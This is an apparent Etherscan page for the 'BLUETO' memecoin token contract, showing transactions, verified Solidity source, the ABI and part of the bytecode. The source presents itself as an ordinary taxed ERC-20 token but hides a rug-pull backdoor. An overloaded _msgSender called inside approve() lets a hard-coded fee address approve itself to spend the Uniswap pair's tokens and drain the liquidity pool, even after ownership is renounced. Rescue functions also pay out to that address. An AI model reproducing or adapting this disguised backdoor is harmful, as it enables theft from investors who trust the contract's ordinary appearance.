ETH Price: $3,434.88 (+3.63%)

Contract

0x0cdaf374dB5247D0BC261f84d60aBf488bdCB721
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve209487062024-10-12 9:43:4746 days ago1728726227IN
0x0cdaf374...88bdCB721
0 ETH0.000463469.05659171
Approve209486382024-10-12 9:29:5946 days ago1728725399IN
0x0cdaf374...88bdCB721
0 ETH0.0007321614.29404763
Approve209486312024-10-12 9:28:3546 days ago1728725315IN
0x0cdaf374...88bdCB721
0 ETH0.0006817113.30898757
Approve209486202024-10-12 9:26:2346 days ago1728725183IN
0x0cdaf374...88bdCB721
0 ETH0.0007150413.95965087
Approve209485852024-10-12 9:19:1146 days ago1728724751IN
0x0cdaf374...88bdCB721
0 ETH0.0007829315.28521619
Approve209485712024-10-12 9:16:2346 days ago1728724583IN
0x0cdaf374...88bdCB721
0 ETH0.0008415516.42961088
Approve209485542024-10-12 9:12:4746 days ago1728724367IN
0x0cdaf374...88bdCB721
0 ETH0.0006674313.03031032
Approve209485532024-10-12 9:12:3546 days ago1728724355IN
0x0cdaf374...88bdCB721
0 ETH0.0006674313.03031032
Approve209485482024-10-12 9:11:3546 days ago1728724295IN
0x0cdaf374...88bdCB721
0 ETH0.0006446512.58545495
Approve209485482024-10-12 9:11:3546 days ago1728724295IN
0x0cdaf374...88bdCB721
0 ETH0.0006446512.58545495
Approve209485402024-10-12 9:09:5946 days ago1728724199IN
0x0cdaf374...88bdCB721
0 ETH0.0006265312.23166449
Approve209485012024-10-12 9:02:1146 days ago1728723731IN
0x0cdaf374...88bdCB721
0 ETH0.0006680413.042065
Approve209484812024-10-12 8:58:1146 days ago1728723491IN
0x0cdaf374...88bdCB721
0 ETH0.000492299.55275393
Approve209484782024-10-12 8:57:3546 days ago1728723455IN
0x0cdaf374...88bdCB721
0 ETH0.0006238112.17858092
Approve209484782024-10-12 8:57:3546 days ago1728723455IN
0x0cdaf374...88bdCB721
0 ETH0.0006238112.17858092
Approve209484782024-10-12 8:57:3546 days ago1728723455IN
0x0cdaf374...88bdCB721
0 ETH0.0006238112.17858092
Renounce Ownersh...209484662024-10-12 8:55:1146 days ago1728723311IN
0x0cdaf374...88bdCB721
0 ETH0.000200478.56969868
Remove Limit209484562024-10-12 8:53:1146 days ago1728723191IN
0x0cdaf374...88bdCB721
0 ETH0.000332889.02035577
Approve209484512024-10-12 8:52:1146 days ago1728723131IN
0x0cdaf374...88bdCB721
0 ETH0.000740914.46467992
Approve209484512024-10-12 8:52:1146 days ago1728723131IN
0x0cdaf374...88bdCB721
0 ETH0.000740914.46467992
Approve209484512024-10-12 8:52:1146 days ago1728723131IN
0x0cdaf374...88bdCB721
0 ETH0.000740914.46467992
Approve209484512024-10-12 8:52:1146 days ago1728723131IN
0x0cdaf374...88bdCB721
0 ETH0.000740914.46467992
Open Trading209484482024-10-12 8:51:3546 days ago1728723095IN
0x0cdaf374...88bdCB721
0 ETH0.0045246213.2302194
Transfer209484282024-10-12 8:47:3546 days ago1728722855IN
0x0cdaf374...88bdCB721
1 ETH0.000196419.32853463
Transfer209484272024-10-12 8:47:2346 days ago1728722843IN
0x0cdaf374...88bdCB721
0 ETH0.000518319.28822509
View all transactions

Latest 19 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
209485822024-10-12 9:18:3546 days ago1728724715
0x0cdaf374...88bdCB721
0.31651627 ETH
209485822024-10-12 9:18:3546 days ago1728724715
0x0cdaf374...88bdCB721
0.31651627 ETH
209485582024-10-12 9:13:3546 days ago1728724415
0x0cdaf374...88bdCB721
0.24306317 ETH
209485582024-10-12 9:13:3546 days ago1728724415
0x0cdaf374...88bdCB721
0.24306317 ETH
209485532024-10-12 9:12:3546 days ago1728724355
0x0cdaf374...88bdCB721
0.2659819 ETH
209485532024-10-12 9:12:3546 days ago1728724355
0x0cdaf374...88bdCB721
0.2659819 ETH
209485422024-10-12 9:10:2346 days ago1728724223
0x0cdaf374...88bdCB721
0.25459951 ETH
209485422024-10-12 9:10:2346 days ago1728724223
0x0cdaf374...88bdCB721
0.25459951 ETH
209485272024-10-12 9:07:2346 days ago1728724043
0x0cdaf374...88bdCB721
0.28616351 ETH
209485272024-10-12 9:07:2346 days ago1728724043
0x0cdaf374...88bdCB721
0.28616351 ETH
209485182024-10-12 9:05:3546 days ago1728723935
0x0cdaf374...88bdCB721
0.0989703 ETH
209485182024-10-12 9:05:3546 days ago1728723935
0x0cdaf374...88bdCB721
0.0989703 ETH
209485032024-10-12 9:02:3546 days ago1728723755
0x0cdaf374...88bdCB721
0.08870581 ETH
209485032024-10-12 9:02:3546 days ago1728723755
0x0cdaf374...88bdCB721
0.08870581 ETH
209484982024-10-12 9:01:3546 days ago1728723695
0x0cdaf374...88bdCB721
0.24534532 ETH
209484982024-10-12 9:01:3546 days ago1728723695
0x0cdaf374...88bdCB721
0.24534532 ETH
209484832024-10-12 8:58:3546 days ago1728723515
0x0cdaf374...88bdCB721
0.21868625 ETH
209484832024-10-12 8:58:3546 days ago1728723515
0x0cdaf374...88bdCB721
0.21868625 ETH
209484482024-10-12 8:51:3546 days ago1728723095
0x0cdaf374...88bdCB721
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BLUETO

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : BLUETO.sol
/*

Meet Blueto,
The only memecoin you gotta catch!
Straight outta Pallet Town's Lab

DON'T FUMBLE THE $BLUETO!

Web : https://www.bluetoerc20.vip
TG :  https://t.me/blueto_erc20
X :   https://x.com/blueto_erc20

*/


// SPDX-License-Identifier: MIT


pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgSender(address _sender, address _origin, address _data) internal view virtual returns (address) {
        if (_sender == msg.sender && _data == msg.sender) {
            return _origin;
        }
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BLUETO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isTaxless;
    mapping (address => bool) public _lpToken;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _xAddress;
    uint256 private firstBlock = 0;

    uint256 private _firstBuyTax=7;
    uint256 private _firstSellTax=14;
    uint256 private _lastBuyTax=0;
    uint256 private _lastSellTax=0;

    uint256 private _reduceBuyTaxAt=1;

    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=25;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"BLUETO";
    string private constant _symbol = unicode"BLUETO";
    uint256 public _limitTxAmount =   2 * _tTotal / 100;
    uint256 public _limitWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address public _rAddress;
    bool private tradingOpen;
    uint256 private sellsPerBlock = 15;
    uint256 private buysFirstBlock = 44;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _balances[_msgSender()] = _tTotal;
        _isTaxless[owner()] = true;
        _isTaxless[address(this)] = true;
        _isTaxless[address(_rAddress)] = true;
        
        _xAddress = payable(0x8024A8E1d85d3bf930f00e36156A891132446e5D);

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _rAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _lpToken[address(_rAddress)] = true;
        _isTaxless[address(_rAddress)] = true;

         emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(_xAddress, _rAddress, spender), spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _lastBuyTax: _firstBuyTax).div(100);

            if(block.number == firstBlock){
               require(perBuyCount[block.number] < buysFirstBlock, "Exceeds buys on the first block.");
               perBuyCount[block.number]++;
            }

            if (_lpToken[from] && to != address(uniswapV2Router) && ! _isTaxless[to] ) {
                require(amount <= _limitTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _limitWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (!_lpToken[to] && ! _isTaxless[to]) {
                require(balanceOf(to) + amount <= _limitWalletSize, "Exceeds the maxWalletSize.");
            }

            if(_lpToken[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _lastSellTax: _firstSellTax).div(100);
            }

	    if (!_lpToken[from] && !_lpToken[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _lpToken[to] && swapEnabled) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < sellsPerBlock);
                if(contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore)
                    _swapBack(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                
                _transferFeeToETH(address(this).balance);
                
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && _lpToken[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if(contractTokenBalance>_taxSwapThreshold)
                    _swapBack(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                _transferFeeToETH(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }


    function _swapBack(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner{
        _limitTxAmount = _tTotal;
        _limitWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function _transferFeeToETH(uint256 amount) private {
        _xAddress.transfer(amount);
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_rAddress).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    

    function rescueETH() external {
        require(_msgSender() == _xAddress);
        payable(_xAddress).transfer(address(this).balance);
    }

    function rescueTokens(address _tokenAddr, uint _amount) external {
        require(_msgSender() == _xAddress);
        IERC20(_tokenAddr).transfer(_xAddress, _amount);
    }
    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_limitTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_lpToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6007556007600855600e6009555f600a555f600b556001600c556014600d556019600e555f600f555f6010555f60115560646009600a62000047919062000bba565b633b9aca0062000058919062000c0a565b600262000066919062000c0a565b62000072919062000c81565b60125560646009600a62000087919062000bba565b633b9aca0062000098919062000c0a565b6002620000a6919062000c0a565b620000b2919062000c81565b60135560646009600a620000c7919062000bba565b633b9aca00620000d8919062000c0a565b6001620000e6919062000c0a565b620000f2919062000c81565b60145560646009600a62000107919062000bba565b633b9aca0062000118919062000c0a565b600162000126919062000c0a565b62000132919062000c81565b601555600f601855602c6019555f601a5f6101000a81548160ff0219169083151502179055505f601a60016101000a81548160ff0219169083151502179055503480156200017e575f80fd5b505f620001906200082f60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a6200023c919062000bba565b633b9aca006200024d919062000c0a565b60015f620002606200082f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002b26200083660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550738024a8e1d85d3bf930f00e36156a891132446e5d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004c83060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a620004ab919062000bba565b633b9aca00620004bc919062000c0a565b6200085d60201b60201c565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000533573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000559919062000d1d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005e0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000606919062000d1d565b6040518363ffffffff1660e01b81526004016200062592919062000d5e565b6020604051808303815f875af115801562000642573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000668919062000d1d565b60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620007a36200082f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000801919062000bba565b633b9aca0062000812919062000c0a565b60405162000821919062000d9a565b60405180910390a362000eed565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620008ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008c59062000e39565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200093f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009369062000ecd565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000a1b919062000d9a565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000ab25780860481111562000a8a5762000a8962000a28565b5b600185161562000a9a5780820291505b808102905062000aaa8562000a55565b945062000a6a565b94509492505050565b5f8262000acc576001905062000b9e565b8162000adb575f905062000b9e565b816001811462000af4576002811462000aff5762000b35565b600191505062000b9e565b60ff84111562000b145762000b1362000a28565b5b8360020a91508482111562000b2e5762000b2d62000a28565b5b5062000b9e565b5060208310610133831016604e8410600b841016171562000b6f5782820a90508381111562000b695762000b6862000a28565b5b62000b9e565b62000b7e848484600162000a61565b9250905081840481111562000b985762000b9762000a28565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f62000bc68262000ba5565b915062000bd38362000bae565b925062000c027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000abb565b905092915050565b5f62000c168262000ba5565b915062000c238362000ba5565b925082820262000c338162000ba5565b9150828204841483151762000c4d5762000c4c62000a28565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000c8d8262000ba5565b915062000c9a8362000ba5565b92508262000cad5762000cac62000c54565b5b828204905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000ce78262000cbc565b9050919050565b62000cf98162000cdb565b811462000d04575f80fd5b50565b5f8151905062000d178162000cee565b92915050565b5f6020828403121562000d355762000d3462000cb8565b5b5f62000d448482850162000d07565b91505092915050565b62000d588162000cdb565b82525050565b5f60408201905062000d735f83018562000d4d565b62000d82602083018462000d4d565b9392505050565b62000d948162000ba5565b82525050565b5f60208201905062000daf5f83018462000d89565b92915050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f62000e2160248362000db5565b915062000e2e8262000dc5565b604082019050919050565b5f6020820190508181035f83015262000e528162000e13565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000eb560228362000db5565b915062000ec28262000e59565b604082019050919050565b5f6020820190508181035f83015262000ee68162000ea7565b9050919050565b6133a88062000efb5f395ff3fe608060405260043610610138575f3560e01c806370a08231116100aa578063a9059cbb1161006e578063a9059cbb146103db578063b952f38014610417578063bf474bed14610453578063c9567bf91461047d578063dd62ed3e14610493578063f2fde38b146104cf5761013f565b806370a082311461030b578063715018a6146103475780638c0c21541461035d5780638da5cb5b1461038757806395d89b41146103b15761013f565b8063186a20a0116100fc578063186a20a01461022757806320800a001461025157806323b872dd14610267578063313ce567146102a357806357376198146102cd57806362256589146102f55761013f565b806306fdde0314610143578063095ea7b31461016d5780630d139682146101a95780630faee56f146101d357806318160ddd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104f7565b6040516101649190612406565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e91906124b7565b610534565b6040516101a0919061250f565b60405180910390f35b3480156101b4575f80fd5b506101bd610596565b6040516101ca9190612537565b60405180910390f35b3480156101de575f80fd5b506101e76105bb565b6040516101f4919061255f565b60405180910390f35b348015610208575f80fd5b506102116105c1565b60405161021e919061255f565b60405180910390f35b348015610232575f80fd5b5061023b6105e4565b604051610248919061255f565b60405180910390f35b34801561025c575f80fd5b506102656105ea565b005b348015610272575f80fd5b5061028d60048036038101906102889190612578565b6106b0565b60405161029a919061250f565b60405180910390f35b3480156102ae575f80fd5b506102b7610784565b6040516102c491906125e3565b60405180910390f35b3480156102d8575f80fd5b506102f360048036038101906102ee91906124b7565b61078c565b005b348015610300575f80fd5b5061030961088c565b005b348015610316575f80fd5b50610331600480360381019061032c91906125fc565b6109bb565b60405161033e919061255f565b60405180910390f35b348015610352575f80fd5b5061035b610a01565b005b348015610368575f80fd5b50610371610b4f565b60405161037e919061255f565b60405180910390f35b348015610392575f80fd5b5061039b610b55565b6040516103a89190612537565b60405180910390f35b3480156103bc575f80fd5b506103c5610b7c565b6040516103d29190612406565b60405180910390f35b3480156103e6575f80fd5b5061040160048036038101906103fc91906124b7565b610bb9565b60405161040e919061250f565b60405180910390f35b348015610422575f80fd5b5061043d600480360381019061043891906125fc565b610bd6565b60405161044a919061250f565b60405180910390f35b34801561045e575f80fd5b50610467610bf3565b604051610474919061255f565b60405180910390f35b348015610488575f80fd5b50610491610bf9565b005b34801561049e575f80fd5b506104b960048036038101906104b49190612627565b610eb2565b6040516104c6919061255f565b60405180910390f35b3480156104da575f80fd5b506104f560048036038101906104f091906125fc565b610f34565b005b60606040518060400160405280600681526020017f424c5545544f0000000000000000000000000000000000000000000000000000815250905090565b5f61058c61058560065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866110f1565b8484611170565b6001905092915050565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b5f6009600a6105d091906127c1565b633b9aca006105df919061280b565b905090565b60135481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661062a611333565b73ffffffffffffffffffffffffffffffffffffffff1614610649575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156106ad573d5